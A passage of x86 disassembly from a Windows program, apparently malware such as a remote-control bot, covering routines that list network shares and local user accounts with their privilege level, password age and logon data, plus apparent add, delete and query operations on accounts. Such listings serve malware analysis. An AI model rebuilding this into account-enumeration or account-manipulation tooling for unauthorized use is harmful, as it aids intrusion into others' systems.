		push	[ebp+arg_4]
		call	sub_422680
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_41B68B
		mov	[ebp+var_20], 80000000h
		jmp	short loc_41B68F
; ---------------------------------------------------------------------------


loc_41B68B:				; CODE XREF: sub_41B654+2Cj
		and	[ebp+var_20], 0


loc_41B68F:				; CODE XREF: sub_41B654+35j
		and	[ebp+var_1C], 0
		mov	[ebp+var_18], 7Fh
		or	[ebp+var_14], 0FFFFFFFFh
		and	[ebp+var_10], 0
		push	[ebp+arg_8]
		call	sub_41B6CD
		pop	ecx
		mov	[ebp+var_C], eax
		and	[ebp+var_8], 0
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		push	2
		push	[ebp+var_2C]
		call	dword_4E15F4
		mov	[ebp+var_28], eax
		mov	eax, [ebp+var_28]
		leave
		retn
sub_41B654	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B6CD	proc near		; CODE XREF: sub_41B654+9p
					; sub_41B654+15p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		cmp	[ebp+arg_0], 0
		jnz	short loc_41B6DD
		xor	eax, eax
		jmp	short locret_41B722
; ---------------------------------------------------------------------------


loc_41B6DD:				; CODE XREF: sub_41B6CD+Aj
		push	0
		push	0
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		push	1
		push	0
		nop
		call	near ptr 2910000h
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		lea	eax, [eax+eax+2]
		push	eax
		call	sub_423B90
		pop	ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_4], eax
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		push	1
		push	0
		nop
		call	near ptr 2910000h
		mov	eax, [ebp+var_4]

locret_41B722:				; CODE XREF: sub_41B6CD+Ej
		leave
		retn
sub_41B6CD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B724	proc near		; CODE XREF: sub_41B4ED+60p
					; sub_41D7E0+29Ap ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_41B6CD
		pop	ecx
		mov	[ebp+var_C], eax
		push	[ebp+arg_4]
		call	sub_41B6CD
		pop	ecx
		mov	[ebp+var_4], eax
		push	0
		push	[ebp+var_4]
		push	[ebp+var_C]
		call	dword_4E15CC
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		leave
		retn
sub_41B724	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B758	proc near		; CODE XREF: sub_4021E5+59EAp

var_224		= dword	ptr -224h
var_220		= dword	ptr -220h
var_21C		= dword	ptr -21Ch
var_218		= dword	ptr -218h
var_214		= byte ptr -214h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 224h
		push	[ebp+arg_C]
		call	sub_41B6CD
		pop	ecx
		mov	[ebp+var_21C], eax
		and	[ebp+var_10], 0
		and	[ebp+var_218], 0
		and	[ebp+var_8], 0
		push	0
		push	[ebp+arg_8]
		push	offset aShareNameResou ; "Share	name:	 Resource:		 "...
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40B00F
		add	esp, 14h


loc_41B797:				; CODE XREF: sub_41B758+16Bj
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_218]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	0FFFFFFFFh
		lea	eax, [ebp+var_C]
		push	eax
		push	1F6h
		push	[ebp+var_21C]
		call	dword_4E1644
		mov	[ebp+var_14], eax
		cmp	[ebp+var_14], 0
		jz	short loc_41B7D3
		cmp	[ebp+var_14], 0EAh
		jnz	loc_41B881


loc_41B7D3:				; CODE XREF: sub_41B758+6Cj
		mov	eax, [ebp+var_C]
		mov	[ebp+var_4], eax
		mov	[ebp+var_220], 1
		jmp	short loc_41B7F2
; ---------------------------------------------------------------------------


loc_41B7E5:				; CODE XREF: sub_41B758+119j
		mov	eax, [ebp+var_220]
		inc	eax
		mov	[ebp+var_220], eax


loc_41B7F2:				; CODE XREF: sub_41B758+8Bj
		mov	eax, [ebp+var_220]
		cmp	eax, [ebp+var_10]
		ja	short loc_41B876
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+24h]
		call	dword_4E15E8	; IsValidSecurityDescriptor
		test	eax, eax
		jz	short loc_41B819
		mov	[ebp+var_224], offset aYes ; "Yes"
		jmp	short loc_41B823
; ---------------------------------------------------------------------------


loc_41B819:				; CODE XREF: sub_41B758+B3j
		mov	[ebp+var_224], offset aNo ; "No"


loc_41B823:				; CODE XREF: sub_41B758+BFj
		push	[ebp+var_224]
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+14h]
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+18h]
		mov	eax, [ebp+var_4]
		push	dword ptr [eax]
		push	offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s"
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4219C0
		add	esp, 18h
		push	1
		push	[ebp+arg_8]
		lea	eax, [ebp+var_214]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40B00F
		add	esp, 14h
		mov	eax, [ebp+var_4]
		add	eax, 28h
		mov	[ebp+var_4], eax
		jmp	loc_41B7E5
; ---------------------------------------------------------------------------


loc_41B876:				; CODE XREF: sub_41B758+A3j
		push	[ebp+var_C]
		call	dword_4E1790
		jmp	short loc_41B8BC
; ---------------------------------------------------------------------------


loc_41B881:				; CODE XREF: sub_41B758+75j
		push	[ebp+var_14]
		push	[ebp+var_14]
		call	sub_41C123
		pop	ecx
		push	eax
		push	offset unk_44E7E0
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4219C0
		add	esp, 10h
		push	0
		push	[ebp+arg_8]
		lea	eax, [ebp+var_214]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40B00F
		add	esp, 14h


loc_41B8BC:				; CODE XREF: sub_41B758+127j
		cmp	[ebp+var_14], 0EAh
		jz	loc_41B797
		cmp	[ebp+var_14], 0
		jz	short loc_41B8D3
		xor	eax, eax
		jmp	short locret_41B8D6
; ---------------------------------------------------------------------------


loc_41B8D3:				; CODE XREF: sub_41B758+175j
		push	1
		pop	eax

locret_41B8D6:				; CODE XREF: sub_41B758+179j
		leave
		retn
sub_41B758	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B8D8	proc near		; CODE XREF: sub_4021E5+5A83p
					; sub_4021E5+5AE0p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	[ebp+var_4], 0
		cmp	[ebp+arg_4], 0
		jz	loc_41B9AF
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_41B905
		cmp	[ebp+var_8], 1
		jz	short loc_41B92F
		cmp	[ebp+var_8], 2
		jz	short loc_41B940
		jmp	short loc_41B959
; ---------------------------------------------------------------------------


loc_41B905:				; CODE XREF: sub_41B8D8+1Dj
		cmp	[ebp+arg_4], 0
		jz	short loc_41B926
		cmp	[ebp+arg_8], 0
		jz	short loc_41B926
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	0
		call	sub_41B9D4
		add	esp, 0Ch
		mov	[ebp+var_4], eax
		jmp	short loc_41B92D
; ---------------------------------------------------------------------------


loc_41B926:				; CODE XREF: sub_41B8D8+31j
					; sub_41B8D8+37j
		mov	[ebp+var_4], 57h


loc_41B92D:				; CODE XREF: sub_41B8D8+4Cj
		jmp	short loc_41B959
; ---------------------------------------------------------------------------


loc_41B92F:				; CODE XREF: sub_41B8D8+23j
		push	[ebp+arg_4]
		push	0
		call	sub_41BA3F
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		jmp	short loc_41B959
; ---------------------------------------------------------------------------


loc_41B940:				; CODE XREF: sub_41B8D8+29j
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	0
		call	sub_41BA71
		add	esp, 14h
		mov	[ebp+var_4], eax


loc_41B959:				; CODE XREF: sub_41B8D8+2Bj
					; sub_41B8D8:loc_41B92Dj ...
		cmp	[ebp+var_4], 0
		jnz	short loc_41B982
		push	[ebp+arg_4]
		mov	eax, [ebp+arg_0]
		imul	eax, 0Ch
		push	off_44E0B4[eax]
		push	offset unk_44E808
		push	offset dword_4E8D24
		call	sub_4219C0
		add	esp, 10h
		jmp	short loc_41B9AD
; ---------------------------------------------------------------------------


loc_41B982:				; CODE XREF: sub_41B8D8+85j
		push	[ebp+var_4]
		call	sub_41C123
		pop	ecx
		push	eax
		push	[ebp+arg_4]
		mov	eax, [ebp+arg_0]
		imul	eax, 0Ch
		push	off_44E0B0[eax]
		push	offset unk_44E828
		push	offset dword_4E8D24
		call	sub_4219C0
		add	esp, 14h


loc_41B9AD:				; CODE XREF: sub_41B8D8+A8j
		jmp	short loc_41B9CD
; ---------------------------------------------------------------------------


loc_41B9AF:				; CODE XREF: sub_41B8D8+Dj
		mov	eax, [ebp+arg_0]
		imul	eax, 0Ch
		push	off_44E0B0[eax]
		push	offset unk_44E858
		push	offset dword_4E8D24
		call	sub_4219C0
		add	esp, 0Ch


loc_41B9CD:				; CODE XREF: sub_41B8D8:loc_41B9ADj
		mov	eax, offset dword_4E8D24
		leave
		retn
sub_41B8D8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B9D4	proc near		; CODE XREF: sub_41B8D8+41p

var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 30h
		mov	[ebp+var_4], 1
		and	[ebp+var_2C], 0
		push	[ebp+arg_0]
		call	sub_41B6CD
		pop	ecx
		mov	[ebp+var_30], eax
		push	[ebp+arg_4]
		call	sub_41B6CD
		pop	ecx
		mov	[ebp+var_24], eax
		push	[ebp+arg_8]
		call	sub_41B6CD
		pop	ecx
		mov	[ebp+var_20], eax
		mov	[ebp+var_18], 1
		and	[ebp+var_14], 0
		and	[ebp+var_10], 0
		mov	[ebp+var_C], 10001h
		and	[ebp+var_8], 0
		lea	eax, [ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		push	[ebp+var_4]
		push	[ebp+var_30]
		call	dword_4E15D8
		mov	[ebp+var_28], eax
		mov	eax, [ebp+var_28]
		leave
		retn
sub_41B9D4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BA3F	proc near		; CODE XREF: sub_41B8D8+5Cp

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_41B6CD
		pop	ecx
		mov	[ebp+var_C], eax
		push	[ebp+arg_4]
		call	sub_41B6CD
		pop	ecx
		mov	[ebp+var_8], eax
		push	[ebp+var_8]
		push	[ebp+var_C]
		call	dword_4E15C8
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		leave
		retn
sub_41BA3F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BA71	proc near		; CODE XREF: sub_41B8D8+76p

var_21C		= dword	ptr -21Ch
var_218		= dword	ptr -218h
var_214		= dword	ptr -214h
var_210		= byte ptr -210h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 21Ch
		and	[ebp+var_8], 0
		mov	[ebp+var_4], 0Bh
		push	[ebp+arg_0]
		call	sub_41B6CD
		pop	ecx
		mov	[ebp+var_218], eax
		push	[ebp+arg_4]
		call	sub_41B6CD
		pop	ecx
		mov	[ebp+var_214], eax
		lea	eax, [ebp+var_8]
		push	eax
		push	[ebp+var_4]
		push	[ebp+var_214]
		push	[ebp+var_218]
		call	dword_4E1758
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 0
		jnz	loc_41BEF8
		cmp	[ebp+var_8], 0
		jz	loc_41BEF6
		mov	eax, [ebp+var_8]
		push	dword ptr [eax]
		push	offset aAccountS ; "Account: %S"
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_4219C0
		add	esp, 0Ch
		push	1
		push	[ebp+arg_10]
		lea	eax, [ebp+var_210]
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_40B00F
		add	esp, 14h
		mov	eax, [ebp+var_8]
		push	dword ptr [eax+0Ch]
		push	offset aFullNameS ; "Full Name:	%S"
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_4219C0
		add	esp, 0Ch
		push	1
		push	[ebp+arg_10]
		lea	eax, [ebp+var_210]
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_40B00F
		add	esp, 14h
		mov	eax, [ebp+var_8]
		push	dword ptr [eax+8]
		push	offset aUserCommentS ; "User Comment: %S"
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_4219C0
		add	esp, 0Ch
		push	1
		push	[ebp+arg_10]
		lea	eax, [ebp+var_210]
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_40B00F
		add	esp, 14h
		mov	eax, [ebp+var_8]
		push	dword ptr [eax+4]
		push	offset aCommentS ; "Comment: %S"
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_4219C0
		add	esp, 0Ch
		push	1
		push	[ebp+arg_10]
		lea	eax, [ebp+var_210]
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_40B00F
		add	esp, 14h
		mov	eax, [ebp+var_8]
		mov	eax, [eax+10h]
		mov	[ebp+var_21C], eax
		cmp	[ebp+var_21C], 0
		jz	short loc_41BBCB
		cmp	[ebp+var_21C], 1
		jz	short loc_41BBD4
		cmp	[ebp+var_21C], 2
		jz	short loc_41BBDD
		jmp	short loc_41BBE6
; ---------------------------------------------------------------------------


loc_41BBCB:				; CODE XREF: sub_41BA71+144j
		mov	[ebp+var_C], offset aGuest_0 ; "Guest"
		jmp	short loc_41BBED
; ---------------------------------------------------------------------------


loc_41BBD4:				; CODE XREF: sub_41BA71+14Dj
		mov	[ebp+var_C], offset aUser_1 ; "User"
		jmp	short loc_41BBED
; ---------------------------------------------------------------------------


loc_41BBDD:				; CODE XREF: sub_41BA71+156j
		mov	[ebp+var_C], offset aAdministrato_0 ; "Administrator"
		jmp	short loc_41BBED
; ---------------------------------------------------------------------------


loc_41BBE6:				; CODE XREF: sub_41BA71+158j
		mov	[ebp+var_C], offset aUnknown_1 ; "Unknown"


loc_41BBED:				; CODE XREF: sub_41BA71+161j
					; sub_41BA71+16Aj ...
		push	[ebp+var_C]
		push	offset aPrivilegeLevel ; "Privilege Level: %s"
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_4219C0
		add	esp, 0Ch
		push	1
		push	[ebp+arg_10]
		lea	eax, [ebp+var_210]
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_40B00F
		add	esp, 14h
		mov	eax, [ebp+var_8]
		push	dword ptr [eax+14h]
		push	offset aAuthFlagsD ; "Auth Flags: %d"
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_4219C0
		add	esp, 0Ch
		push	1
		push	[ebp+arg_10]
		lea	eax, [ebp+var_210]
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_40B00F
		add	esp, 14h
		mov	eax, [ebp+var_8]
		push	dword ptr [eax+1Ch]
		push	offset aHomeDirectoryS ; "Home Directory: %S"
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_4219C0
		add	esp, 0Ch
		push	1
		push	[ebp+arg_10]
		lea	eax, [ebp+var_210]
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_40B00F
		add	esp, 14h
		mov	eax, [ebp+var_8]
		push	dword ptr [eax+20h]
		push	offset aParametersS ; "Parameters: %S"
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_4219C0
		add	esp, 0Ch
		push	1
		push	[ebp+arg_10]
		lea	eax, [ebp+var_210]
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_40B00F
		add	esp, 14h
		mov	eax, [ebp+var_8]
		push	dword ptr [eax+18h]
		push	offset aPasswordAgeD ; "Password Age: %d"
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_4219C0
		add	esp, 0Ch
		push	1
		push	[ebp+arg_10]
		lea	eax, [ebp+var_210]
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_40B00F
		add	esp, 14h
		mov	eax, [ebp+var_8]
		push	dword ptr [eax+2Ch]
		push	offset aBadPasswordCou ; "Bad Password Count: %d"
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_4219C0
		add	esp, 0Ch
		push	1
		push	[ebp+arg_10]
		lea	eax, [ebp+var_210]
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_40B00F
		add	esp, 14h
		mov	eax, [ebp+var_8]
		push	dword ptr [eax+30h]
		push	offset aNumberOfLogins ; "Number of Logins: %d"
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_4219C0
		add	esp, 0Ch
		push	1
		push	[ebp+arg_10]
		lea	eax, [ebp+var_210]
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_40B00F
		add	esp, 14h
		mov	eax, [ebp+var_8]
		push	dword ptr [eax+24h]
		push	offset aLastLogonD ; "Last Logon: %d"
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_4219C0
		add	esp, 0Ch
		push	1
		push	[ebp+arg_10]
		lea	eax, [ebp+var_210]
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_40B00F
		add	esp, 14h
		mov	eax, [ebp+var_8]
		push	dword ptr [eax+28h]
		push	offset aLastLogoffD ; "Last Logoff: %d"
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_4219C0
		add	esp, 0Ch
		push	1
		push	[ebp+arg_10]
		lea	eax, [ebp+var_210]
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_40B00F
		add	esp, 14h
		mov	eax, [ebp+var_8]
		push	dword ptr [eax+34h]
		push	offset aLogonServerS ; "Logon Server: %S"
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_4219C0
		add	esp, 0Ch
		push	1
		push	[ebp+arg_10]
		lea	eax, [ebp+var_210]
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_40B00F
		add	esp, 14h
		mov	eax, [ebp+var_8]
		push	dword ptr [eax+3Ch]
		push	offset aWorkstationsS ;	"Workstations: %S"
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_4219C0
		add	esp, 0Ch
		push	1
		push	[ebp+arg_10]
		lea	eax, [ebp+var_210]
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_40B00F
		add	esp, 14h
		mov	eax, [ebp+var_8]
		push	dword ptr [eax+38h]
		push	offset aCountryCodeD ; "Country	Code: %d"
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_4219C0
		add	esp, 0Ch
		push	1
		push	[ebp+arg_10]
		lea	eax, [ebp+var_210]
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_40B00F
		add	esp, 14h
		mov	eax, [ebp+var_8]
		push	dword ptr [eax+4Ch]
		push	offset aUserSLanguageD ; "User's Language: %d"
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_4219C0
		add	esp, 0Ch
		push	1
		push	[ebp+arg_10]
		lea	eax, [ebp+var_210]
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_40B00F
		add	esp, 14h
		mov	eax, [ebp+var_8]
		push	dword ptr [eax+40h]
		push	offset aMax_StorageD ; "Max. Storage: %d"
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_4219C0
		add	esp, 0Ch
		push	1
		push	[ebp+arg_10]
		lea	eax, [ebp+var_210]
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_40B00F
		add	esp, 14h
		mov	eax, [ebp+var_8]
		push	dword ptr [eax+44h]
		push	offset aUnitsPerWeekD ;	"Units Per Week: %d"
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_4219C0
		add	esp, 0Ch
		push	1
		push	[ebp+arg_10]
		lea	eax, [ebp+var_210]
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_40B00F
		add	esp, 14h


loc_41BEF6:				; CODE XREF: sub_41BA71+5Cj
		jmp	short loc_41BF29
; ---------------------------------------------------------------------------


loc_41BEF8:				; CODE XREF: sub_41BA71+52j
		push	[ebp+var_10]
		push	offset unk_44EA08
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_4219C0
		add	esp, 0Ch
		push	0
		push	[ebp+arg_10]
		lea	eax, [ebp+var_210]
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_40B00F
		add	esp, 14h


loc_41BF29:				; CODE XREF: sub_41BA71:loc_41BEF6j
		cmp	[ebp+var_8], 0
		jz	short loc_41BF38
		push	[ebp+var_8]
		call	dword_4E1790


loc_41BF38:				; CODE XREF: sub_41BA71+4BCj
		mov	eax, [ebp+var_10]
		leave
		retn
sub_41BA71	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BF3D	proc near		; CODE XREF: sub_4021E5+5B4Fp

var_22C		= dword	ptr -22Ch
var_228		= dword	ptr -228h
var_224		= dword	ptr -224h
var_220		= byte ptr -220h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 22Ch
		and	[ebp+var_14], 0
		push	[ebp+arg_C]
		call	sub_41B6CD
		pop	ecx
		mov	[ebp+var_228], eax
		and	[ebp+var_4], 0
		or	[ebp+var_18], 0FFFFFFFFh
		and	[ebp+var_1C], 0
		and	[ebp+var_224], 0
		and	[ebp+var_10], 0
		and	[ebp+var_C], 0
		push	0
		push	[ebp+arg_8]
		push	offset aUsernameAccoun ; "Username accounts for	local system:"
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40B00F
		add	esp, 14h


loc_41BF8C:				; CODE XREF: sub_41BF3D+191j
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_224]
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+var_18]
		lea	eax, [ebp+var_14]
		push	eax
		push	2
		push	[ebp+var_4]
		push	[ebp+var_228]
		call	dword_4E1660
		mov	[ebp+var_20], eax
		cmp	[ebp+var_20], 0
		jz	short loc_41BFC9
		cmp	[ebp+var_20], 0EAh
		jnz	loc_41C079


loc_41BFC9:				; CODE XREF: sub_41BF3D+7Dj
		mov	eax, [ebp+var_14]
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	loc_41C077
		and	[ebp+var_22C], 0
		jmp	short loc_41BFEF
; ---------------------------------------------------------------------------


loc_41BFE2:				; CODE XREF: sub_41BF3D+135j
		mov	eax, [ebp+var_22C]
		inc	eax
		mov	[ebp+var_22C], eax


loc_41BFEF:				; CODE XREF: sub_41BF3D+A3j
		mov	eax, [ebp+var_22C]
		cmp	eax, [ebp+var_1C]
		jnb	short loc_41C077
		cmp	[ebp+var_8], 0
		jnz	short loc_41C02F
		push	offset unk_44EA50
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4219C0
		pop	ecx
		pop	ecx
		push	0
		push	[ebp+arg_8]
		lea	eax, [ebp+var_220]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40B00F
		add	esp, 14h
		jmp	short loc_41C077
; ---------------------------------------------------------------------------


loc_41C02F:				; CODE XREF: sub_41BF3D+C1j
		mov	eax, [ebp+var_8]
		push	dword ptr [eax]
		push	offset aS_35	; "  %S"
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4219C0
		add	esp, 0Ch
		push	1
		push	[ebp+arg_8]
		lea	eax, [ebp+var_220]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40B00F
		add	esp, 14h
		mov	eax, [ebp+var_8]
		add	eax, 4
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_C]
		inc	eax
		mov	[ebp+var_C], eax
		jmp	loc_41BFE2
; ---------------------------------------------------------------------------


loc_41C077:				; CODE XREF: sub_41BF3D+96j
					; sub_41BF3D+BBj ...
		jmp	short loc_41C0B4
; ---------------------------------------------------------------------------


loc_41C079:				; CODE XREF: sub_41BF3D+86j
		push	[ebp+var_20]
		push	[ebp+var_20]
		call	sub_41C123
		pop	ecx
		push	eax
		push	offset unk_44EA84
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4219C0
		add	esp, 10h
		push	0
		push	[ebp+arg_8]
		lea	eax, [ebp+var_220]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40B00F
		add	esp, 14h


loc_41C0B4:				; CODE XREF: sub_41BF3D:loc_41C077j
		cmp	[ebp+var_14], 0
		jz	short loc_41C0C7
		push	[ebp+var_14]
		call	dword_4E1790
		and	[ebp+var_14], 0


loc_41C0C7:				; CODE XREF: sub_41BF3D+17Bj
		cmp	[ebp+var_20], 0EAh
		jz	loc_41BF8C
		cmp	[ebp+var_14], 0
		jz	short loc_41C0E3
		push	[ebp+var_14]
		call	dword_4E1790


loc_41C0E3:				; CODE XREF: sub_41BF3D+19Bj
		push	[ebp+var_C]
		push	offset aTotalUsersFoun ; "Total	users found: %d."
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4219C0
		add	esp, 0Ch
		push	0
		push	[ebp+arg_8]
		lea	eax, [ebp+var_220]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40B00F
		add	esp, 14h
		cmp	[ebp+var_20], 0
		jz	short loc_41C11E
		xor	eax, eax
		jmp	short locret_41C121
; ---------------------------------------------------------------------------


loc_41C11E:				; CODE XREF: sub_41BF3D+1DBj
		push	1
		pop	eax

locret_41C121:				; CODE XREF: sub_41BF3D+1DFj
		leave
		retn
sub_41BF3D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C123	proc near		; CODE XREF: sub_41B4ED+96p
					; sub_41B758+12Fp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 858h
		ja	loc_41C1C4
		cmp	[ebp+var_4], 858h
		jz	loc_41C3B6
		cmp	[ebp+var_4], 7Bh
		ja	short loc_41C18E
		cmp	[ebp+var_4], 7Bh
		jz	loc_41C278
		cmp	[ebp+var_4], 5
		jz	loc_41C24C
		cmp	[ebp+var_4], 8
		jz	loc_41C2A4
		cmp	[ebp+var_4], 32h
		jz	loc_41C2BA
		cmp	[ebp+var_4], 35h
		jz	loc_41C2D0
		cmp	[ebp+var_4], 57h
		jz	loc_41C28E
		jmp	loc_41C3DC
; ---------------------------------------------------------------------------


loc_41C18E:				; CODE XREF: sub_41C123+28j
		cmp	[ebp+var_4], 7Ch
		jz	loc_41C262
		cmp	[ebp+var_4], 844h
		jz	loc_41C328
		cmp	[ebp+var_4], 845h
		jz	loc_41C312
		cmp	[ebp+var_4], 846h
		jz	loc_41C2FC
		jmp	loc_41C3DC
; ---------------------------------------------------------------------------


loc_41C1C4:				; CODE XREF: sub_41C123+11j
		cmp	[ebp+var_4], 8C5h
		ja	short loc_41C213
		cmp	[ebp+var_4], 8C5h
		jz	loc_41C390
		cmp	[ebp+var_4], 8ADh
		jz	loc_41C3C9
		cmp	[ebp+var_4], 8AFh
		jz	loc_41C36A
		cmp	[ebp+var_4], 8B0h
		jz	loc_41C37D
		cmp	[ebp+var_4], 8B2h
